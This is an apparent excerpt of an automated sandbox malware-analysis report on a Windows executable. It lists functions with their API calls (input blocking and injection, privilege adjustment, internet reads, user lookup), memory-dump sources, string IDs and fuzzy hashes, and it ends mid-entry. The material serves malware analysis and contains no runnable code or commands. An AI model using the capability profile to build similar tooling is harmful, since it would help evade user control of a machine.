                                                            • Opcode ID: f7681cbd2ea07fa149fa3418819e144fbe1fe0a990a0ed3c69471eaae0dbb131
                                                            • Instruction ID: 34de537896a986c3ecf0a04b1e84f31e1660e2e5581ba26f533dd15102644ef8
                                                            • Opcode Fuzzy Hash: f7681cbd2ea07fa149fa3418819e144fbe1fe0a990a0ed3c69471eaae0dbb131
                                                            • Instruction Fuzzy Hash: 0CB26BB6F087928AEB748F65C4406AC37B1FB56788F514176CA8D97B88EF38E941C740
                                                            Function 00007FF69DB61750 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: memcpy_s
                                                            • String ID:
                                                            • API String ID: 1502251526-0
                                                            • Opcode ID: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
                                                            • Instruction ID: b89b26062c176166ea5fbac018dd4e8f5a4c7d8e5e96e5c26ce594d01f277e1c
                                                            • Opcode Fuzzy Hash: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
                                                            • Instruction Fuzzy Hash: 63D1A272B1868687DB34CF15E18466EB6A1FB997D4F548134DB8E97B48EE3CE841CB00
                                                            Function 00007FF69DB9D5CC Relevance: 4.6, APIs: 3, Instructions: 59COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AdjustConcurrency::cancel_current_taskErrorLastLookupPrivilegePrivilegesTokenValue
                                                            • String ID:
                                                            • API String ID: 2278415577-0
                                                            • Opcode ID: 70c4773b18923e0c28b697d59e2b6e62826da89e857526a178f76e4b759ffcd8
                                                            • Instruction ID: 78ee0c3c29cd0210527e36d209521ece50255d02c1dbd3324b90307e00828d14
                                                            • Opcode Fuzzy Hash: 70c4773b18923e0c28b697d59e2b6e62826da89e857526a178f76e4b759ffcd8
                                                            • Instruction Fuzzy Hash: 0621BEB2A08A8186DB24DF26E44026EB7A0FB99BD4F448535DF8C87718DF78D556C740
                                                            Function 00007FF69DB9D540 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AllocateCheckFreeInitializeMembershipToken
                                                            • String ID:
                                                            • API String ID: 3429775523-0
                                                            • Opcode ID: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
                                                            • Instruction ID: ffb1c188c33711bf1488550fbe3de9669849d3162f33308f94c09088d992b2fc
                                                            • Opcode Fuzzy Hash: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
                                                            • Instruction Fuzzy Hash: 1E0100736247818FE7208F20D4553A937A0F76476EF500929F69986A9DDF7DC258CB80
                                                            Function 00007FF69DB72F50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: .
                                                            • API String ID: 0-248832578
                                                            • Opcode ID: 704ebd355b677e1258a9e20fb2f824619711b00144154a2c45bc08c04a856543
                                                            • Instruction ID: d975484a8e6d53be62f02168c49d5ad865453e9418014c3b9e1472cee5c1abcc
                                                            • Opcode Fuzzy Hash: 704ebd355b677e1258a9e20fb2f824619711b00144154a2c45bc08c04a856543
                                                            • Instruction Fuzzy Hash: 8C314C92F1869156E7709F72980467AA691FB52BE4F448635EEAD87FCCEE3CD5018300
                                                            Function 00007FF69DB6BEF8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23timeCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetSystemTimeAsFileTime.KERNEL32(?,?,?,00007FF69DB6475C,?,?,00000000,00007FF69DB647D9,?,?,?,?,?,00007FF69DBB2210), ref: 00007FF69DB6BF3F
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Time$FileSystem
                                                            • String ID: GetSystemTimePreciseAsFileTime
                                                            • API String ID: 2086374402-595813830
                                                            • Opcode ID: 572b71549e45f6bab70ab7a1e99299a405b58e83dcd9cf08a8343814aa6f0cc3
                                                            • Instruction ID: 14f20e5dedd602d17685a15e6278664bbab6fd239e18ebef57c1286bf832a5f0
                                                            • Opcode Fuzzy Hash: 572b71549e45f6bab70ab7a1e99299a405b58e83dcd9cf08a8343814aa6f0cc3
                                                            • Instruction Fuzzy Hash: D6F0A0A0A09A4781EE249B21B4500B83320EF467D0F8810F5D98E8736AFE3CD044C354
                                                            Function 00007FF69DBBE968 Relevance: 3.1, APIs: 2, Instructions: 97networkfileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Internet$AvailableDataFileQueryRead
                                                            • String ID:
                                                            • API String ID: 599397726-0
                                                            • Opcode ID: a54c6d4a74e6411871131af3bdbcf589181ad988d0891215d2ce77e29c03cb3f
                                                            • Instruction ID: 94ac65bff003574e80be94dfb1175de4e012b3be0829ff81257a941705783001
                                                            • Opcode Fuzzy Hash: a54c6d4a74e6411871131af3bdbcf589181ad988d0891215d2ce77e29c03cb3f
                                                            • Instruction Fuzzy Hash: 6731B2B2B08A0185FBA8DE26D4907B923A5FB85B88F144475DE8D87BECEF3CD4418300
                                                            Function 00007FF69DBB71F4 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Find$CloseFileFirst
                                                            • String ID:
                                                            • API String ID: 2295610775-0
                                                            • Opcode ID: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
                                                            • Instruction ID: 1753d0de56bc236f61e7e512ce3cc6eeffd95a0b922759cd2d5bd62b3fff5c38
                                                            • Opcode Fuzzy Hash: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
                                                            • Instruction Fuzzy Hash: A0115EB2B0878182DB20DF26E48436C7760FB99BA0F048671EBAD47B99DF7CD4518740
                                                            Function 00007FF69DBB3778 Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ErrorFormatLastMessage
                                                            • String ID:
                                                            • API String ID: 3479602957-0
                                                            • Opcode ID: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
                                                            • Instruction ID: 0848414a9aea95e0dc464d525f67a503dd9bdb437541eb15bc5b237ece799faf
                                                            • Opcode Fuzzy Hash: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
                                                            • Instruction Fuzzy Hash: 9AF0C8A1A0864252E7305B16F44076EA2A5FFCA794F504274EBDD83B9DEE3CD4048B00
                                                            Function 00007FF69DB9CCE0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AdjustCloseHandlePrivilegesToken
                                                            • String ID:
                                                            • API String ID: 81990902-0
                                                            • Opcode ID: 2696843c0c1c48d019296e0beaf727179f08331fefa667d0a626b5bdda81ebd6
                                                            • Instruction ID: c025e60dfaf471afd4b74df574060eaca675533d2568ea1a84fe41df8f64417c
                                                            • Opcode Fuzzy Hash: 2696843c0c1c48d019296e0beaf727179f08331fefa667d0a626b5bdda81ebd6
                                                            • Instruction Fuzzy Hash: 48F0E5E6A1CA4182EB34CB21D4113B813A0FFE9F88F200571CE8D8725CDF3CC0868250
                                                            Function 00007FF69DB695B0 Relevance: 2.9, Strings: 2, Instructions: 378COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: a/p$am/pm
                                                            • API String ID: 0-3206640213
                                                            • Opcode ID: d269495295c1493308ce62522ec6a5b0fa2a34529254b4e83c29fdea4e24a2f2
                                                            • Instruction ID: 5bc1ea3d4dfe74f6b6f6e3810f39013c3eadb0f3a69fbfe418b9225167c9253c
                                                            • Opcode Fuzzy Hash: d269495295c1493308ce62522ec6a5b0fa2a34529254b4e83c29fdea4e24a2f2
                                                            • Instruction Fuzzy Hash: 39E18FA2A1865286EF748F2481545BD33A5FF027A4FD44176EA9EC669CFF3DE950C300
                                                            Function 00007FF69DB40E70 Relevance: 1.9, Strings: 1, Instructions: 680COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Variable is not of type 'Object'.
                                                            • API String ID: 0-1840281001
                                                            • Opcode ID: 0846f4224996d3c000beb684e8f92ad8a272e358ff67d15cb6cee7ad666ce03d
                                                            • Instruction ID: e57533ac57856699816cc232d22a915b142734c4e5a752929ceb59c0e6033f02
                                                            • Opcode Fuzzy Hash: 0846f4224996d3c000beb684e8f92ad8a272e358ff67d15cb6cee7ad666ce03d
                                                            • Instruction Fuzzy Hash: 84524BB2E0C6429AEB30DF64C0506FD23A1EB46788F4041B5DE8D97A8EEF39E546D744
                                                            Function 00007FF69DB4FA4F Relevance: 1.7, Strings: 1, Instructions: 447COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: no error
                                                            • API String ID: 0-1106124726
                                                            • Opcode ID: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
                                                            • Instruction ID: f705336adb9b9c7184f3f2095d480d6e434a4a161bf82a8b07e2555215a5d330
                                                            • Opcode Fuzzy Hash: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
                                                            • Instruction Fuzzy Hash: 9D128AB2A087918AE734CF65D4402AE37B4FB49748B508135EB8E97B99EF38E950C740
                                                            Function 00007FF69DBA9420 Relevance: 1.5, APIs: 1, Instructions: 26keyboardCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: InputSend
                                                            • String ID:
                                                            • API String ID: 3431551938-0
                                                            • Opcode ID: f56fcc02370cedd2e246ff2304cc88798786294839e2fbad01620a5262f8ee40
                                                            • Instruction ID: 1fd6c39ddbf98ec736cddbb9f54e7a658144ecc51309b102d61a1d7f9a519472
                                                            • Opcode Fuzzy Hash: f56fcc02370cedd2e246ff2304cc88798786294839e2fbad01620a5262f8ee40
                                                            • Instruction Fuzzy Hash: 0CF09AA691868186D3308F11A44076A77E0F759B99F406129EAC987B68DF3EC10A9F14
                                                            Function 00007FF69DBAD1A4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: mouse_event
                                                            • String ID:
                                                            • API String ID: 2434400541-0
                                                            • Opcode ID: d8d6f02688d8abf5cd4837f0aea5b825f774ed0048ed251121670875c750f025
                                                            • Instruction ID: 47cc03aa022cfa0460ff6f2405c9920c987090df34ac6031946fd4e463229bda
                                                            • Opcode Fuzzy Hash: d8d6f02688d8abf5cd4837f0aea5b825f774ed0048ed251121670875c750f025
                                                            • Instruction Fuzzy Hash: C8E04FF5E0C04392F2781A39552A73616D1EB93320E9001B5DBCDC6ADCFD5DA6059514
                                                            Function 00007FF69DBC0A00 Relevance: 1.5, APIs: 1, Instructions: 23keyboardCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: BlockInput
                                                            • String ID:
                                                            • API String ID: 3456056419-0
                                                            • Opcode ID: 8cf4d90d24b710f01b8413e09e10ab0a79a0cee39ea01687b76c1a24c8fffcac
                                                            • Instruction ID: b5eab8bb8eadd2a77ff75ca97bdda729076bdc8db664d85b9c5bddd4d6016624
                                                            • Opcode Fuzzy Hash: 8cf4d90d24b710f01b8413e09e10ab0a79a0cee39ea01687b76c1a24c8fffcac
                                                            • Instruction Fuzzy Hash: 48E09B72B1870286EB549F76E54027D6290FB99FC4F145074DE4DC339AEE7CD4908700
                                                            Function 00007FF69DB92BCF Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: NameUser
                                                            • String ID:
                                                            • API String ID: 2645101109-0
                                                            • Opcode ID: 8585f7f64f3c872cdf94fb193dbdc54333e80748829e3d3e151e5918de675c21
                                                            • Instruction ID: 5182dc8cfa2d812bf508256e00137a21c2ee000c80dc99be73200e3aa4731f6b
                                                            • Opcode Fuzzy Hash: 8585f7f64f3c872cdf94fb193dbdc54333e80748829e3d3e151e5918de675c21
                                                            • Instruction Fuzzy Hash: 77C012B1614652D9E770CF20D8841EC3331F71071CF800071E64A8F46CAF788248C340
                                                            Function 00007FF69DB5C130 Relevance: 1.5, Strings: 1, Instructions: 219COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID: 0
                                                            • API String ID: 3215553584-4108050209
                                                            • Opcode ID: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
                                                            • Instruction ID: 56e6048a97e10cdb6107116f2f1dfe4f070807501d0059718ef2c6e0f870c880
                                                            • Opcode Fuzzy Hash: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
                                                            • Instruction Fuzzy Hash: A98119A2A1820246FBB48A55C08067E23A2EF47B44F5815B1DDCDDB69DEF3EE846D740
                                                            Function 00007FF69DB5BEB4 Relevance: 1.4, Strings: 1, Instructions: 199COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID: 0
                                                            • API String ID: 3215553584-4108050209
                                                            • Opcode ID: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
                                                            • Instruction ID: 72aa895596f5cbebfa73e6cca83face8276073b999818c1eb92c9bd3d1354a5e
